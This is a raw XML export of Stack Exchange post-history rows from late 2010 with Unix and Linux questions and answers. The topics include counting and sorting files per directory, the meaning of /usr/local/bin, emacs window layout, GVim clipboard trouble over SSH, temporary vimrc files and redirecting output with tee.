  <row Id="9059" PostHistoryTypeId="2" PostId="4175" RevisionGUID="bfad08ee-8beb-4602-8acf-631fa0caab85" CreationDate="2010-11-17T23:32:11.173" UserId="2180" Text="I think the bias comes not from the package format, but from the inconsistencies that used to exist in RedHat's repositories.&#xD;&#xA;&#xD;&#xA;Back when RedHat was a distribution (before the days of RHEL, Fedora, and Fedora Core), people would sometimes find themselves in &quot;RPM Hell&quot; or &quot;dependency Hell&quot;. This occurred when a repository would end up with a package that had a dependencies (several layers deep, usually) which were mutually exclusive. Or it would arise when two different packages had two mutually exclusive dependencies. This was a problem with the state of the repository, not with the package format. The &quot;RPM Hell&quot; left a distaste for RPM systems among some population of Linux users who had gotten burned by the problem." />
  <row Id="9060" PostHistoryTypeId="2" PostId="4176" RevisionGUID="862206da-47c0-4342-9ab4-03d93b54c09a" CreationDate="2010-11-17T23:55:16.373" UserId="2180" Text="    find -maxdepth 1 -type d | while read dir; do echo -en &quot;$dir:\t&quot;; find $dir | wc -l; done" />
  <row Id="9062" PostHistoryTypeId="2" PostId="4177" RevisionGUID="bab2b324-cbf4-46c6-938a-1784ce370902" CreationDate="2010-11-18T07:01:22.613" UserId="1327" Text="Auto-mounting seems to be a bit of a messy thing in linux. &#xD;&#xA;&#xD;&#xA;The options to automount ranges from autofs, udev, hal or even filemanagers.&#xD;&#xA;&#xD;&#xA;What is the **best-practice** method to enable automounting on devices? Is there one shinning way that cuts out all the mess?" />
  <row Id="9063" PostHistoryTypeId="1" PostId="4177" RevisionGUID="bab2b324-cbf4-46c6-938a-1784ce370902" CreationDate="2010-11-18T07:01:22.613" UserId="1327" Text="Automounting plugged devices in linux" />
  <row Id="9064" PostHistoryTypeId="3" PostId="4177" RevisionGUID="bab2b324-cbf4-46c6-938a-1784ce370902" CreationDate="2010-11-18T07:01:22.613" UserId="1327" Text="éautomountingà" />
  <row Id="9065" PostHistoryTypeId="2" PostId="4178" RevisionGUID="479916e7-e14f-49b4-ada4-ffb2e1129560" CreationDate="2010-11-18T08:25:19.967" UserId="678" Text="I tried to install an application via AppScoop. From that point on no further installs were possible because of a hanging install (see picture). Can you please advice how to cancel the hanging install? I have shell access so don't mind sending shell commands.&#xD;&#xA;&#xD;&#xA;![Hanging Software Installation][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Uo0JH.png" />
  <row Id="9066" PostHistoryTypeId="1" PostId="4178" RevisionGUID="479916e7-e14f-49b4-ada4-ffb2e1129560" CreationDate="2010-11-18T08:25:19.967" UserId="678" Text="Hanging install blocks new installations on WebOS" />
  <row Id="9067" PostHistoryTypeId="3" PostId="4178" RevisionGUID="479916e7-e14f-49b4-ada4-ffb2e1129560" CreationDate="2010-11-18T08:25:19.967" UserId="678" Text="ésoftwareöinstallationàéwebosà" />
  <row Id="9068" PostHistoryTypeId="2" PostId="4179" RevisionGUID="e0097724-cdab-40d7-adb0-a4bd717ffcdd" CreationDate="2010-11-18T09:37:07.570" UserId="2714" Text="I would like to be able to name a window in emacs, and specify that window when opening and creating new buffers.  I've looked through the manual but all I can find is `find-file-other-window`, which doesn't allow me to specify which window to open the buffer in.  Perhaps I'm trying to use emacs in a way it wasn't intended to be used, but what I am trying to achieve is a workspace similar to an IDE:&#xD;&#xA;&#xD;&#xA;    ----------------------------------------------&#xD;&#xA;    | Project  |  Main editor        | Help Docs |&#xD;&#xA;    | Files    |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |---------------------|           |&#xD;&#xA;    |          |  Console/Shell      |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    ----------------------------------------------&#xD;&#xA;&#xD;&#xA;For example, I would like to have all internal help and python docs open in the right window, and all .py files in the main window by default.  Any ideas?" />
  <row Id="9069" PostHistoryTypeId="1" PostId="4179" RevisionGUID="e0097724-cdab-40d7-adb0-a4bd717ffcdd" CreationDate="2010-11-18T09:37:07.570" UserId="2714" Text="Is it possible to name windows in emacs" />
  <row Id="9070" PostHistoryTypeId="3" PostId="4179" RevisionGUID="e0097724-cdab-40d7-adb0-a4bd717ffcdd" CreationDate="2010-11-18T09:37:07.570" UserId="2714" Text="éemacsà" />
  <row Id="9071" PostHistoryTypeId="2" PostId="4180" RevisionGUID="b9bc6940-ca78-4c59-9677-d958c3c780c8" CreationDate="2010-11-18T09:48:47.757" UserId="29" Text="I'd like to take this command `find -maxdepth 1 -type d | while read -r dir; do printf &quot;%s:\t&quot; &quot;$dir&quot;; find &quot;$dir&quot; | wc -l; done` ( [from here](http://unix.stackexchange.com/q/4105/29) ). which has an output of basically&#xD;&#xA;&#xD;&#xA;    ./kennel:       11062&#xD;&#xA;    ./shadow:       15449&#xD;&#xA;    ./ccc:  9765&#xD;&#xA;    ./journeyo:     14200&#xD;&#xA;    ./norths:       10710&#xD;&#xA;&#xD;&#xA;and sort it by the numbers largest to smallest. but I'm not sure how to make `sort`, or whatever operate on a different column." />
  <row Id="9072" PostHistoryTypeId="1" PostId="4180" RevisionGUID="b9bc6940-ca78-4c59-9677-d958c3c780c8" CreationDate="2010-11-18T09:48:47.757" UserId="29" Text="sort output by column" />
  <row Id="9073" PostHistoryTypeId="3" PostId="4180" RevisionGUID="b9bc6940-ca78-4c59-9677-d958c3c780c8" CreationDate="2010-11-18T09:48:47.757" UserId="29" Text="écommandölineàétextöprocessingàésortà" />
  <row Id="9074" PostHistoryTypeId="5" PostId="4179" RevisionGUID="893322a7-2777-4955-b621-5cf7c8c5f50a" CreationDate="2010-11-18T10:12:05.603" UserId="2714" Comment="added 75 characters in body" Text="I would like to be able to name a window in emacs, and specify that window when opening and creating new buffers.  I've looked through the manual but all I can find is `find-file-other-window`, which doesn't allow me to specify which window to open the buffer in.  Perhaps I'm trying to use emacs in a way it wasn't intended to be used, but what I am trying to achieve is a workspace similar to an IDE:&#xD;&#xA;&#xD;&#xA;    ----------------------------------------------&#xD;&#xA;    | Project  |  Main editor        | Help Docs |&#xD;&#xA;    | Files    |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    |          |---------------------|           |&#xD;&#xA;    |          |  Console/Shell      |           |&#xD;&#xA;    |          |                     |           |&#xD;&#xA;    ----------------------------------------------&#xD;&#xA;&#xD;&#xA;For example, I would like to have all internal help and python docs open in the right window, and all .py files in the main window by default.  Any ideas?&#xD;&#xA;&#xD;&#xA;EDIT:  I should mention that I'm using emacs in no-window console mode." />
  <row Id="9075" PostHistoryTypeId="2" PostId="4181" RevisionGUID="c2f8c4ab-f18d-4586-a499-cbd149df74a7" CreationDate="2010-11-18T10:19:15.600" UserId="73" Text="One option is to flip the columns:&#xD;&#xA;&#xD;&#xA;    $ find -maxdepth 1 -type d | while read -r dir; do printf &quot;%d\t%s\n&quot; &quot;`find &quot;$dir&quot; | wc -l`&quot; &quot;$dir&quot;; done&#xD;&#xA;&#xD;&#xA;Then you get output like this:&#xD;&#xA;&#xD;&#xA;    17	.&#xD;&#xA;    1	./acroread_1000_1002&#xD;&#xA;    1	./.ICE-unix&#xD;&#xA;    2	./.X11-unix&#xD;&#xA;    1	./orbit-mrozekma&#xD;&#xA;    2	./ns.mrozekma.:0&#xD;&#xA;&#xD;&#xA;You can pipe that through `sort -nr` to sort it the way you want. You can even pipe the sorted result through something like `awk -F'\t' '{print $2 &quot;\t&quot; $1}'` to flip the columns back if you need them in that order" />
  <row Id="9076" PostHistoryTypeId="2" PostId="4182" RevisionGUID="b3fc013c-2b2f-43d7-87ed-0717571ca3d2" CreationDate="2010-11-18T11:31:30.417" UserId="2714" Text="After extensive googling and head-scratching, I have discovered that what I was looking for is a function called `set-window-dedicated-p`.  Documentation can be found here, for anyone else who happens upon this page:&#xD;&#xA;&#xD;&#xA;http://www.gnu.org/s/emacs/manual/html_node/elisp/Dedicated-Windows.html&#xD;&#xA;&#xD;&#xA;Binding a key to this function will cause the selected window to refuse splitting or displaying other buffers." />
  <row Id="9077" PostHistoryTypeId="2" PostId="4183" RevisionGUID="f9bdecf7-481b-483f-8794-d7323f2f6f90" CreationDate="2010-11-18T12:48:56.553" UserId="29" Text="I would say the best practice is to go with what works best with your &quot;desktop envorinment&quot;, as some automounting methods may not work well with, say KDE, since KDE wants to handle it." />
  <row Id="9078" PostHistoryTypeId="2" PostId="4184" RevisionGUID="3fe2d09a-49e4-43f4-b8ec-b8e7e97dc0a7" CreationDate="2010-11-18T13:08:17.347" UserId="1157" Text="Pipe the lines through `sort -n -k2`." />
  <row Id="9079" PostHistoryTypeId="2" PostId="4185" RevisionGUID="853c20d6-80f2-47b1-bb8b-0b75ffca1f1c" CreationDate="2010-11-18T13:29:18.553" UserId="2690" Text="Hi Robert,&#xD;&#xA;&#xD;&#xA;Just some thoughts without actually testing. If you are using the shell to launch your ssh session, you can use Ctrl-Shift-c and Ctrl-Shift-v to paste. Otherwise, would a right-click on your selection propose 'copy' to you?&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="9080" PostHistoryTypeId="2" PostId="4186" RevisionGUID="275edb13-f521-404a-af0a-c063bf6636b5" CreationDate="2010-11-18T13:49:05.480" UserId="900" Text="Before today, I've used Terminal to a limited extent of moving in and out of directories, changing the dates of files using the `touch` command, but had realised the full extent of Terminal after installing a fun script in Mac and having to `chmod 755` the file to make it executable afterwards.&#xD;&#xA;&#xD;&#xA;I'd like to know what is /usr/local/bin though. /usr/, I assume is the user of the computer. I'm not sure why /local/ is there though. It obviously stands for the local computer, but since it's on the computer (Or a server), would it really be necessary? Wouldn't /usr/bin be fine? &#xD;&#xA;&#xD;&#xA;And what is /bin? Why is this area usually used for installing scripts into Terminal?" />
  <row Id="9081" PostHistoryTypeId="1" PostId="4186" RevisionGUID="275edb13-f521-404a-af0a-c063bf6636b5" CreationDate="2010-11-18T13:49:05.480" UserId="900" Text="What is /usr/local/bin? Came across it in an script installation for Applescript but would like to know more." />
  <row Id="9082" PostHistoryTypeId="3" PostId="4186" RevisionGUID="275edb13-f521-404a-af0a-c063bf6636b5" CreationDate="2010-11-18T13:49:05.480" UserId="900" Text="éterminalà" />
  <row Id="9083" PostHistoryTypeId="2" PostId="4187" RevisionGUID="2f0853d7-7e50-43f0-9837-b6a3d8d68870" CreationDate="2010-11-18T14:09:35.127" UserId="2626" Text="**/usr/local/bin** is for programs that a normal user may run. &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;To understand the filesystem hierarchy better, visit: http://www.pathname.com/fhs/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You might find this article interesting: [Use and Abuse of /usr/local/bin](http://aplawrence.com/Opinion/religion.html)" />
  <row Id="9084" PostHistoryTypeId="2" PostId="4188" RevisionGUID="f11457bc-5e78-4f9d-bdfe-8a4c2d9de97e" CreationDate="2010-11-18T14:11:37.440" UserId="2701" Text="I would recommend referring to [Wikipedia][1] for structure related questions in general, it will cover the basics.&#xD;&#xA;&#xD;&#xA;To answer your question directly, however:&#xD;&#xA;&#xD;&#xA; - /usr is, loosely, non-critical system libraries and executables&#xD;&#xA; - /usr/local is, again loosely, for non-system libraries and executables&#xD;&#xA;&#xD;&#xA;This is why you tend to find similar structure between the two; /usr/{,local/}{bin,sbin,lib}. Being new to the shell, that bit with the {}'s is a shell expansion. Try executing&#xD;&#xA;&#xD;&#xA;    ls -ld /usr/{,local/}{bin,sbin,lib}&#xD;&#xA;&#xD;&#xA;from your local shell to see how it works.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Unix_directory_structure" />
  <row Id="9085" PostHistoryTypeId="2" PostId="4189" RevisionGUID="e27d2dd2-3b7f-4023-80f0-82fc12d10396" CreationDate="2010-11-18T14:12:12.103" UserId="1184" Text="/usr/local/bin shows the UNIX-esque roots of the latest Mac OS (its BSD based under there).&#xD;&#xA;&#xD;&#xA;usr stands for UNIX System Resources.  This is the location that system programs and libraries are stored.&#xD;&#xA;&#xD;&#xA;local represents resources that were not shipped with the standard distribution and, usually, compiled and maintained on a per site basis.&#xD;&#xA;&#xD;&#xA;bin represents binary compiled executables.&#xD;&#xA;&#xD;&#xA;This has morphed since the early implementations of UNIX to Linux and BSD, but the convention has stayed.  Now, /usr/bin would be for &quot;main&quot; or core programs and libraries where /usr/local/bin would be for add-on and non-critical programs and libraries." />
  <row Id="9086" PostHistoryTypeId="5" PostId="4187" RevisionGUID="7c14cf72-1e99-4466-a4a0-09e43f4ad71c" CreationDate="2010-11-18T14:23:25.620" UserId="2626" Comment="added 489 characters in body; added 44 characters in body" Text="**/usr/local/bin** is for programs that a normal user may run. &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;- The /usr/local hierarchy is for use by the system administrator when installing software locally. &#xD;&#xA;- It needs to&#xD;&#xA;be safe from being overwritten when the system software is updated. &#xD;&#xA;- It may be used for programs and data that&#xD;&#xA;are shareable amongst a group of hosts, but not found in /usr.&#xD;&#xA;- Locally installed software must be placed within /usr/local rather than /usr unless it is being installed to&#xD;&#xA;replace or upgrade software in /usr. &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;**Source**: [Filesystem Hierarchy Standard](http://www.pathname.com/fhs/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To understand the filesystem hierarchy better, visit: http://www.pathname.com/fhs/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You might find this article interesting: [Use and Abuse of /usr/local/bin](http://aplawrence.com/Opinion/religion.html)" />
  <row Id="9087" PostHistoryTypeId="5" PostId="4176" RevisionGUID="9cde01a5-4505-4ca9-af72-071e5e99fc81" CreationDate="2010-11-18T14:32:19.267" UserId="2180" Comment="added credits" Text="    find -maxdepth 1 -type d | while read -r dir; do printf &quot;%s:\t&quot; &quot;$dir&quot;; find &quot;$dir&quot; | wc -l; done&#xD;&#xA;&#xD;&#xA;Thanks to Gilles and xenoterracide for safety/compatability fixes." />
  <row Id="9088" PostHistoryTypeId="5" PostId="3838" RevisionGUID="7ec285a4-d72a-4069-855e-a17211825ea2" CreationDate="2010-11-18T15:05:14.970" UserId="73" Comment="Removed second duplicate link" Text="&gt; **Possible Duplicate:**  &#xD;&#xA;&gt; [rebuild auto-complete index (or whatever it&amp;#39;s called)](http://unix.stackexchange.com/questions/2179/rebuild-auto-complete-index-or-whatever-its-called)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;After I install something via aptitude, zsh won't be able to find it until I search for it with `which`. For example&#xD;&#xA;&#xD;&#xA;    ~ sudo apt-get install xsane&#xD;&#xA;    ~ xsa&lt;Tab&gt;&#xD;&#xA;    ~ saned&#xD;&#xA;    ~ which xsane&#xD;&#xA;    /usr/bin/xsane&#xD;&#xA;    ~xsa&lt;Tab&gt;&#xD;&#xA;    ~xsane&#xD;&#xA;&#xD;&#xA;This naturally is pretty annoying. Is there a zsh setting for this? Or is it a bug? Or what?" />
  <row Id="9089" PostHistoryTypeId="2" PostId="4190" RevisionGUID="76b91865-03ae-44a1-9520-6eb307ecd57c" CreationDate="2010-11-18T15:54:53.873" UserId="250" Text="One thing that I would try is to make sure that you actually let X handle the selection. If you have `set mouse=a` in your `vimrc` file then vim will interpret the selection as its visual mode. If this is the case, try holding &lt;kbd&gt;Shift&lt;/kbd&gt; when selecting.&#xD;&#xA;&#xD;&#xA;Your terminal emulator may have its own mechanism for copying and pasting, for example gnome-terminal uses &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shitf&lt;/kbd&gt; &lt;kbd&gt;c&lt;/kbd&gt; for copying and &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shitf&lt;/kbd&gt; &lt;kbd&gt;v&lt;/kbd&gt; for pasting (as Morlock stated in his answer). You can use that instead." />
  <row Id="9090" PostHistoryTypeId="5" PostId="4148" RevisionGUID="4dc0b152-9ffe-47c8-be78-053dc792803e" CreationDate="2010-11-18T16:45:08.157" UserId="2700" Comment="clarification" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Shift." />
  <row Id="9091" PostHistoryTypeId="2" PostId="4191" RevisionGUID="4499be60-9f58-46a3-8568-f146731b6f1a" CreationDate="2010-11-18T17:54:11.540" UserId="2700" Text="Is there a way to read a `.vimrc` file for only a single ssh session?  That is, when I log in I perform some operation so that vim uses say `/tmp/myvimrc` until I log out?&#xD;&#xA;&#xD;&#xA;I do not want to permanently overwrite the current .vimrc, I just need to use a different set of settings for the duration of my login every once in a while." />
  <row Id="9092" PostHistoryTypeId="1" PostId="4191" RevisionGUID="4499be60-9f58-46a3-8568-f146731b6f1a" CreationDate="2010-11-18T17:54:11.540" UserId="2700" Text="Temporary .vimrc" />
  <row Id="9093" PostHistoryTypeId="3" PostId="4191" RevisionGUID="4499be60-9f58-46a3-8568-f146731b6f1a" CreationDate="2010-11-18T17:54:11.540" UserId="2700" Text="ésshàévimàévimrcà" />
  <row Id="9094" PostHistoryTypeId="2" PostId="4192" RevisionGUID="199be4c8-08da-4a13-93bb-91837f53eb6a" CreationDate="2010-11-18T18:03:21.037" UserId="1207" Text="Suppose you have this other set of settings in `/tmp/myvimrc`.  If my reading of `man vim` is correct you can start vim with this set of settings using the following:&#xD;&#xA;&#xD;&#xA;    $ vim -u /tmp/myvimrc&#xD;&#xA;&#xD;&#xA;Thus, to make this an option for the rest of the session, I would create a function that sets this as an alias for `vim`.  Thus, in `bash` I would put something like this in my `.bashrc` file:&#xD;&#xA;&#xD;&#xA;    function vimswitch {&#xD;&#xA;        alias vim='vim -u /tmp/myvimrc'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then, when I wanted my new vim settings, I would just run:&#xD;&#xA;&#xD;&#xA;    $ vimswitch&#xD;&#xA;&#xD;&#xA;Note that I wouldn't store myvimrc in `/tmp` since this could easily be cleared out upon reboot.  If you are using a shell other than `bash` this should still be possible, but the syntax could differ slightly." />
  <row Id="9097" PostHistoryTypeId="5" PostId="4148" RevisionGUID="22246b73-6f9e-4abf-aee5-3e8d547e46cd" CreationDate="2010-11-18T18:11:51.517" UserId="2700" Comment="Fuller explanation of why Shift isn't working" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting." />
  <row Id="9098" PostHistoryTypeId="2" PostId="4194" RevisionGUID="be078a1c-8f3d-4354-abc7-5d01c37c3d2b" CreationDate="2010-11-18T18:34:14.763" UserId="138" Text="&gt; /usr/, I assume is the user of the computer. &#xD;&#xA;&#xD;&#xA;Originally, yes, it did refer to the system's users, as I explained in my comment to nzwulfin. That reason is now historical.&#xD;&#xA;&#xD;&#xA;The best reason for it to still be called that is that it contains &quot;user files&quot;, which is to say things that don't need to be available until the system has booted up far enough to support normal use by users.&#xD;&#xA;&#xD;&#xA;There's a clear dividing line: a Unix box is supposed to be able to boot up into single-user mode without needing any file under `/usr`. You can try it on your Mac, if you like: hold Cmd-S while it boots, and you will land in single-user mode. It's like running under the Terminal, but it takes over the whole screen because the GUI hasn't started yet, and you're running as `root`. (Type &quot;exit&quot; at the single-user root prompt to leave single-user mode and continue booting into multi-user mode.)&#xD;&#xA;&#xD;&#xA;Unix systems are organized in this fashion because Unix dates from the days of 5 MB hard disks the size of washing machines. It was common for a big Unix system to have multiple physical hard disks, and for `/usr` to be off on a separate disk from the system's boot volume. If the `/usr` volume wouldn't mount for some reason, you could still get a Unix box to boot up into single-user mode to fix it.&#xD;&#xA;&#xD;&#xA;&gt; .../local/...obviously stands for the local computer...&#xD;&#xA;&#xD;&#xA;Yes. It refers to the fact that files under `/usr/local` are supposed to be particular to that single system. Files that are in any way generic are supposed to live elsewhere.&#xD;&#xA;&#xD;&#xA;Again, this has roots in the way Unix systems were commonly used decades ago when all this was standardized. In this case, it's again because hard disks were big and really expensive, so a computer lab full of Unix boxes would often share most of `/usr` over NFS or some other network file sharing protocol, so each box didn't have to have its own redundant copy. (This is also where we get `/usr/share`: it segregates files that could be shared even between Unix boxes with different processor types. Typically, text files: man pages, the dictionary, etc.) Files specific to a single box would go under `/usr/local`, which would be a separate volume from `/usr`.&#xD;&#xA;&#xD;&#xA;This historical heritage is why it's still the default for most third-party Unix software to install into `/usr/local` when installed by hand. Most such software will let you install the package somewhere else, but by making a non-choice, the installer won't presume to install somewhere else, like `/usr/bin`, which is for programs that came with the operating system.&#xD;&#xA;&#xD;&#xA;&gt; And what is /bin?&#xD;&#xA;&#xD;&#xA;It's short for &quot;binary&quot;, a generic term that is used to refer to many things, depending on context. &#xD;&#xA;&#xD;&#xA;In the context of Unix directories, it refers to that fact that the files in that directory are compiled executable programs, as opposed to text files, which live elsewhere.&#xD;&#xA;&#xD;&#xA;On a modern system, it's common to find the occasional script file in a `bin` directory. That bends the original meaning behind the purpose of this directory, since scripts are text files, but it's not a problem in practice. The original Unix systems were carefully enough scoped that this didn't happen, at least not with the OS as originally delivered. Scripts that came with the OS lived elsewhere, like `/etc`." />
  <row Id="9099" PostHistoryTypeId="5" PostId="4176" RevisionGUID="3ed8211d-4b49-49d1-8b21-3e77f389c259" CreationDate="2010-11-18T19:01:01.100" UserId="2180" Comment="Add explanation; added 65 characters in body" Text="    find -maxdepth 1 -type d | while read -r dir; do printf &quot;%s:\t&quot; &quot;$dir&quot;; find &quot;$dir&quot; | wc -l; done&#xD;&#xA;&#xD;&#xA;Thanks to Gilles and xenoterracide for safety/compatability fixes.&#xD;&#xA;&#xD;&#xA;The first part: `find -maxdepth 1 -type d` will return a list of all directories in the current working directory. This is piped to...&#xD;&#xA;&#xD;&#xA;The second part: `while read -r dir; do` begins a while loop - as long as the pipe coming into the while is open (which is until the entire list of directories is sent), the read command will place the next line into the variable &quot;dir&quot;. Then it continues...&#xD;&#xA;&#xD;&#xA;The third part: `printf &quot;%s:\t&quot; &quot;$dir&quot;;` will print the string in &quot;$dir&quot; (which is holding one of the directory names) followed by a tab.&#xD;&#xA;&#xD;&#xA;The fourth part: `find &quot;$dir&quot;` makes a list of all the files inside the directory name held in &quot;$dir&quot;. This list is sent to..&#xD;&#xA;&#xD;&#xA;The fifth part: `wc -l;` counts the number of lines that are sent into its standard input.&#xD;&#xA;&#xD;&#xA;The final part: `done` simply ends the while loop.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So we get a list of all the directories in the current directory. For each of those directories, we generate a list of all the files in it so that we can count them all using `wc -l`. The result will look like:&#xD;&#xA;&#xD;&#xA;    ./dir1:	234&#xD;&#xA;    ./dir2:	11&#xD;&#xA;    ./dir3:	2199&#xD;&#xA;    ..." />
  <row Id="9100" PostHistoryTypeId="6" PostId="4186" RevisionGUID="a9da2566-9a4f-4c34-90a8-bcfe73217cab" CreationDate="2010-11-18T19:20:29.750" UserId="885" Comment="edited tags" Text="éexecutableàédirectoryöstructureà" />
  <row Id="9101" PostHistoryTypeId="2" PostId="4195" RevisionGUID="583785e2-1399-4e6c-9bc0-e19b83f7df18" CreationDate="2010-11-18T19:26:19.363" UserId="2712" Text="Okay. If I wanted to redirect the output of a program to a file, I'd do something like this&#xD;&#xA;&#xD;&#xA;    prog &gt; file&#xD;&#xA;&#xD;&#xA;If I wanted to redirect both stdin and stdout to that file, then I'd do&#xD;&#xA;&#xD;&#xA;    prog &gt; file 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;This is all well and good if you want the output to go to the file. But what if you want the output to go to the file and yet still go to stdin/stderr? So, the output is saved in the file, but you can still see it on the console as the program is running. Is there a way to do that? And if so, how?" />
  <row Id="9102" PostHistoryTypeId="1" PostId="4195" RevisionGUID="583785e2-1399-4e6c-9bc0-e19b83f7df18" CreationDate="2010-11-18T19:26:19.363" UserId="2712" Text="Is there a way in bash to redirect output and still have it go to stdin?" />
  <row Id="9103" PostHistoryTypeId="3" PostId="4195" RevisionGUID="583785e2-1399-4e6c-9bc0-e19b83f7df18" CreationDate="2010-11-18T19:26:19.363" UserId="2712" Text="ébashà" />
  <row Id="9104" PostHistoryTypeId="2" PostId="4196" RevisionGUID="024a9e9e-5082-44e2-9528-0cebfadac436" CreationDate="2010-11-18T19:37:16.257" UserId="73" Text="[`tee`](http://en.wikipedia.org/wiki/Tee_\(command\)) exists for this purpose; it takes a filename argument and writes the data it reads from stdin to both stdout and the file:&#xD;&#xA;&#xD;&#xA;    $ prog 2&gt;&amp;1 | tee file&#xD;&#xA;" />
  <row Id="9105" PostHistoryTypeId="2" PostId="4197" RevisionGUID="a50edf3d-90fe-4e4d-9d57-77e42b850a99" CreationDate="2010-11-18T19:44:31.077" UserId="2661" Text="When you log in via ssh sets variable `$SSH_CONNECTION`. Your `.bashrc` could check for this var and if it is set sets alias that you want:&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$SSH_CONNECTION&quot; ]&#xD;&#xA;    then&#xD;&#xA;            alias vim='vim -u /tmp/myvimrc'&#xD;&#xA;    fi" />
  <row Id="9106" PostHistoryTypeId="6" PostId="4060" RevisionGUID="29e49291-3094-4acf-b853-b1e8a264f7a6" CreationDate="2010-11-18T19:56:49.417" UserId="2626" Comment="edited tags" Text="ésecurityàévirusesàémalwareà" />
  <row Id="9107" PostHistoryTypeId="5" PostId="4197" RevisionGUID="c9c93014-4f93-49be-9abd-3ee837b399ac" CreationDate="2010-11-18T21:24:36.827" UserId="2661" Comment="added 5 characters in body" Text="When you log in via ssh, ssh sets variable `$SSH_CONNECTION`. Your `.bashrc` could check for this var and if it is set sets alias that you want:&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$SSH_CONNECTION&quot; ]&#xD;&#xA;    then&#xD;&#xA;            alias vim='vim -u /tmp/myvimrc'&#xD;&#xA;    fi" />
  <row Id="9108" PostHistoryTypeId="2" PostId="4198" RevisionGUID="ece84e1c-944f-4bc6-9daf-991165bdd4fc" CreationDate="2010-11-18T21:28:22.230" UserId="1107" Text="You can use the [VIMINIT environment variable](http://vimdoc.sourceforge.net/htmldoc/starting.html#VIMINIT) to override the use of the usual `.vimrc` while keeping other parts of the initialization process. VIMINIT should be set to one or more *ex*-style commands (“colon” commands; use pipe (`|`) to separate multiple commands), not just the path to a different initialization file.&#xD;&#xA;&#xD;&#xA;    VIMINIT='so /tmp/myvimrc'; export VIMINIT&#xD;&#xA;&#xD;&#xA;    vim whatever # uses /tmp/myvimrc, not ~/.vimrc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The main difference from using `-u` is that VIMINIT will still allow the other parts of [initialization process](http://vimdoc.sourceforge.net/htmldoc/starting.html#initialization) to be used (e.g. system `vimrc`, `evim.vim` (if applicable), et cetera)." />
